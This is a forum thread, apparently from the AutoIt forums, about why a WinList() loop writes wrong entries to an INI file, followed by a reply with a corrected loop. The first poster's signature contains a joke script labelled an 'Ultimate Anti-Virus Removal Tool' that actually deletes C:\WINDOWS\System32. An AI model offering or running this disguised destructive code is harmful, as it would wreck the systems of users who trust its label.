Jump to content

WinList() Problems


 Share

Recommended Posts

I'm making a process managing program for my school and this is the snippet of code that is not working:

$windows = WinList()
$windows_num = $windows[0][0]

For $i = 1 To $windows[0][0] Step 1
    If WinActive($windows[$i][0]) = 1 Then
        IniWrite($UniqueINILoc, "dynamic", "active", $windows[$i][0])
    EndIf
    IniWrite($UniqueINILoc, "dynamic", "open", $windows[$i][0])
Next

My .ini file results typically look like this:

[dynamic]

open=Default IME

active=

active=

Does anyone know why this could be happening? The results I'm looking for would loo something like this:

[dynamic]

open=Autoit Forums - Mozilla Firefox

open=iTunes

open=AutoIt Help

active=AutoitForums - Mozilla Firefox

I see this being a really simple problem that I should immediately be able to diagnose so hopefully someone else can.

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Maybe..

$windows = WinList()
$windows_num = $windows[0][0]

$UniqueLoc = @ScriptDir & "\test.txt"

For $i = 1 To $windows[0][0] Step 1
    If $windows[$i][0] = "" Or $windows[$i][0] = "Default IME" Then ContinueLoop
    If WinActive($windows[$i][0]) = 1 Then
        FileWrite($UniqueLoc, "active = " & $windows[$i][0]& @CRLF)
        ConsoleWrite("+ active=" & $windows[$i][0] & @CRLF)
    EndIf
    FileWrite($UniqueLoc, "open=" & $windows[$i][0]& @CRLF)
    ConsoleWrite("open=" & $windows[$i][0] & @CRLF)
Next

8)

NEWHeader1.png

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...